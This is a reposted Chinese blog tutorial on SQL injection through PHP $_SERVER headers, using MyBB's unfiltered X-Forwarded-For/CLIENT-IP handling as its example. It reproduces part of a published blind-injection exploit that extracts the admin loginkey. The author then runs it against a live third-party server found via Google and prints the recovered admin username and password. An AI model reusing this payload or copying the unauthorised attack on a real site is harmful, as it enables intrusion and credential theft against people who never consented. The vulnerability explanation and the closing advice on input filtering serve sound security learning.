最新消息:

(二)SQL注入漏洞(转)

sql 大步 826浏览 0评论

废话不多说,下面开始我们的挖掘之旅,继续讲解PHP漏洞系列中最重要的部分——SQL注入。上期我们讲的是普通变量没有过滤的,本次我们将提高一个层次,重点说说$_SERVER变量的注入。

前期基础知识

        在介绍$_SERVER注入之前,我们还要重复的唠叨一下GPC的设置问题,因为这是SQL注入的关键所在。magic_quotes_gpc选项是PHP中的一个重要安全设置,当该选项为ON,也就是打开的时候,所有从Get、Post、Cookie传递过来的数据中的“'”、“"”、“”,以及NULL等元字符都会被自动的加上“”实现转义。这个选项使得SQL注入、插入代码以及XSS中引入字符串或者改变程序流程变得困难。但是在PHP5中,一些特殊变量的存在使得在某些情况下,还是会被恶意用户引入元字符到数据库以及程序中。

PHP中的变量除了来源于$_GET、$_POST、$_Cookie的提交之外,还来源于$_SERVER、$_ENV、$_SESSION等,其中$_ENV和$_SESSION我们不能很方便地控制和自由提交,所以只剩下一个$_SERVER变量了。而$_SERVER变量包括的内容除了来自服务器本身外,还有很大一部分来源于用户提交的HTTP请求,比如下面的代码。

QUERY_STRING        //用户Get方法提交时的查询字符串
HTTP_REFERER        //用户请求的来源变量,在一些程序取得用户访问记录时用得比较多
HTTP_USER_AGENT        //用户的浏览器类型,也用于用户的访问记录的取得
HTTP_HOST        //提交的主机头等内容
HTTP_X_FORWARDED_FOR        //用户的代理主机的信息

如上的变量在PHP5.0以下是受magic_quotes_gpc选项影响的,当magic_quotes_gpc选项为ON时,该数组中的元字符等内容就会做转义处理;为OFF时,用户的提交就会不做任何处理,直接送到数组中。现在的大部分稍安全一点的程序都已经注意到$_GET、$_POST以及$_Cookie的危险性。以下的内容摘自Discuz!的变量初始化时的代码。

01.$magic_quotes_gpc = get_magic_quotes_gpc();

02.@extract(daddslashes($_POST));

03.@extract(daddslashes($_GET));

04.if(!$magic_quotes_gpc) {

05.$_FILES = daddslashes($_FILES);   06.} 
很好,已经注意到来自$_GET、$_POST、$_FILES以及$_Cookie的变量的安全性,但是$_SERVER变量呢?尽管在magic_quotes_gpc为ON的情况下,这些变量可能受到保护。但是很明显,忽视$_SERVER的结果就是安全隐患的增加,你就可以去寻找程序取得$_SERVER的地方,很可能就是脆弱点了!

        所以,我们要注意任何的从客户端输入的变量,因为所有的输入都是有害的。PHPBB这方面做得很好,如图1所示,在PHPBB的common.php中的第100~161行,把所有的输入,不管是$_GET、$_POST、$_SERVER等变量都做了过滤处理。

(二)SQL注入漏洞(转) - ksharp_dabu - ksharp_dabu的博客

 

现在,防止SQL注入,大家普遍使用的方式是用addslashes()函数和intval()函数,下面我就简单介绍一下这两个函数。
        addslashes()的函数原形是string addslashes(string str),返回字符串,该字符串为了数据库查询语句等的需要,而在某些字符前加上了反斜杠。这些字符是单引号(')、双引号(")、反斜线()与 NUL(NULL字符)。
一个使用addslashes()的例子是当你要往数据库中输入数据时。例如,将名字O'reilly插入到数据库中,这就需要对其进行转义。大多数据库使用“”作为转义符:O'reilly,这样就可以将数据放入数据库中,而不会插入额外的“”。当PHP指令magic_quotes_sybase被设置成ON时,意味着插入“'” 时将使用“'”进行转义。
默认情况下,PHP 指令magic_quotes_gpc为ON,它主要是对所有的Get、Post和Cookie数据自动运行addslashes()。不要对已经被magic_quotes_gpc转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时,我们可以使用函数get_magic_quotes_gpc()进行检测。
intval()的函数原形为int intval(mixed var, int [base]);,可将变量转成整数类型。可省略的参数base是转换的基底,默认值为10。转换的变量var可以为数组或类之外的任何类型的变量。
        以上就是我们详细记录的基础知识了,下面我们结合一个漏洞程序来详细地讲解$_SERVER[]注入漏洞。
详细分析$_SERVER注入
今天的程序主角是MyBulletinBoard,也就是MyBB,一套基于PHP+MySQL搭建的功能强大高效的开源论坛系统。在国外使用的比较多,在Google搜索大概有150多万个网站采用这套程序。如图2所示是其界面,很简洁,但是功能非常全面。 
  

(二)SQL注入漏洞(转) - ksharp_dabu - ksharp_dabu的博客

 

图2
        下面我们就来具体分析一下MyBB的漏洞。按照以前我们在Linux下挖掘PHP漏洞的步骤,先下载源代码并安装好,之后输入“grep –n –r ‘$_POST’ *”,如图3所示。结果很多,仔细看了一下,发现有几个提交的变量,如fid、tid、pid、uid、eid。用“grep -n -r '$_POST' * | grep pid”查找了几个,没有发现明显的漏洞;再看一下$_GET和$_COOKIE等变量,也没有明显的漏洞。忽然眼睛一亮,在MyBB主目录下的inc/functions.php的1219处出现了传说中的HTTP_X_FORWARDED_FOR,如图4所示,这里或许我们可以进行注入的。
  
图3 
  

(二)SQL注入漏洞(转) - ksharp_dabu - ksharp_dabu的博客

 

图4
尽管在magic_quotes_gpc为ON的情况下,这些变量可能受到保护,但是很明显,忽视$_SERVER的结果就是安全隐患的增加,就可以去寻找程序取得$_SERVER的地方,很可能就是脆弱点了!由于很多程序本身就疏于对$_SERVER变量的防范,所以我们只要绕过PHP本身对“'”的转义就可以了。在PHP4中,如果magic_quotes_gpc为OFF的话就不用管了,但是如果magic_quotes_gpc为ON的话,我们几乎就无法再操作下去了!但这种情况在PHP5中获得了彻底的改观,在测试中我发现,PHP5中无论magic_quotes_gpc是ON还是OFF,对$_SERVER变量都不会做转义处理的。这意味着我们可以很轻松地带进程序“'”、“"”和NULL字符,这对于那些变量过滤不严格的程序来说是致命的!
        我们继续分析代码,用vi打开inc/functions.php文件,输入Esc,然后点1219就来到了第1219行,其主要作用是得到客户的IP地址。继续往下看,到了1292行,我们找到了一个getip()函数,如下所示。

function getip() {
global $_SERVER;     &
nbsp;  //定义$_SERVER全局变量
if($_SERVER['HTTP_X_FORWARDED_FOR'])    
//如果从上面传递过来了HTTP_X_FORWARDED_FOR的IP地址
{
if(preg_match_all("#[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}#s",$_SERVER['HTTP_X_FORWARDED_FOR'], $addresses))
//同时IP的地址格式符合111.111.111.111这样的格式
{
while(list($key, $val) = each($addresses[0]))
{
if(!preg_match("#^(10|172.16|192.168).#", $val))
//只要IP地址不以10开头,同时不以172.16也不以192.168开头,就把$ip地址的值传递给$val;这里的意思就是不为内网使用的IP
{
$ip = $val;
break;
}}}}

在Fedora的命令中输入“grep –n –r ‘getip’ *”,我们看看都什么地方用到了这个函数。结果如图5所示。
  
图5

(二)SQL注入漏洞(转) - ksharp_dabu - ksharp_dabu的博客

 

        我们一个一个地看,结果在inc/class_session.php文件中发现了问题,存在问题的代码如下。

function init()
{
global $ipaddress, $db, $mybb, $noonline;
// Get our visitors IP
$this->ipaddress = $ipaddress = getip();
// User-agent
$this->useragent = $_SERVER['HTTP_USER_AGENT'];
if(strlen($this->useragent) > 100)
{
$this->useragent = substr($this->useragent, 0, 100);
}
// Attempt to find a session id in the cookies
if($_COOKIE['sid'])
{
$this->sid = addslashes($_COOKIE['sid']);
}
else
{
$this->sid = 0;
}
// Attempt to load the session from the database
$query = $db->query("SELECT sid,uid FROM ".TABLE_PREFIX."sessions WHERE sid='".$this->sid."' AND ip='".$this->ipaddress."'");
        
大家仔细看最后一句代码“$query = $db->query("SELECT sid,uid FROM ".TABLE_PREFIX."sessions WHERE sid='".$this->sid."' AND ip='".$this->ipaddress."'");”,这里把我们从客户端得到的IP地址未经过任何过滤(其实人家做了检测了,只不过检测的是IP地址是否合法而已,与没过滤一个样)就带入MySQL查询了!呵呵,比普通注入更高级的注入漏洞就这样出现了。我们接下来要做的事,就是上传类似如下的代码。

$sql="99999999' UNION SELECT ASCII(SUBSTRING(loginkey,".$j.",1))=".$i.",0 FROM ".$prefix."users WHERE uid=1/*";
echo "sql -> ".$sql."";
$packet ="GET ".$p."index.php HTTP/1.0";
$packet.="CLIENT-IP: $sql";
$packet.="Host: ".$host."";
$packet.="Connection: Close";

上面的POST代码是该漏洞利用程序的一部分,已由rgod在milw0rm.com上公布出来了。我们利用代码下载后实际测试一下漏洞,看看效果如何。
实践漏洞测试
        我们把利用代码保存在Fedora机器上,如图6所示,然后我们找一个目标,Google一下后找到了一个地http://121.16.39.90。利用rgod的利用程序,我们输入“php mybb.php 121.16.39.90 /mybb/ -d”,即可得到用户名为admin密码为lovejq。用获得的用户名和密码,即可以Admin身份成功登录论坛,如图7所示,再点击画线部分即可进入论坛后台。

(二)SQL注入漏洞(转) - ksharp_dabu - ksharp_dabu的博客

 

  
图6 
  

(二)SQL注入漏洞(转) - ksharp_dabu - ksharp_dabu的博客

 

图7
总结
本文最重要的部分是利用了$_SERVER变量中HTTP_X_FORWARDED_FOR没有充分过滤和PHP 5本身的特性来入侵的。本文之后,PHP的SQL注入部分就差不多结束了。总结一下,其实所谓的注入就是用户提交的变量没有得到充分的过滤就带入到了MySQL中查询,进而可以让我们进入后台,拿到系统权限等。大家可以参考本期我写的《入侵Windows 2003系统》,就是成功地利用PHP注入漏洞拿到系统权限的。一句话,只要是客户端的输入,就都是有害的。奉劝各位写程序的朋友们,还是多想想如何过滤变量吧。
下期我们将继续讲解PHP中的远程代码执行漏洞和PHP本身程序的弱点导致的漏洞,这部分的内容就又上一个台阶了,希望大家不要错过哦。

转载请注明:大步's Blog » (二)SQL注入漏洞(转)

SiteMap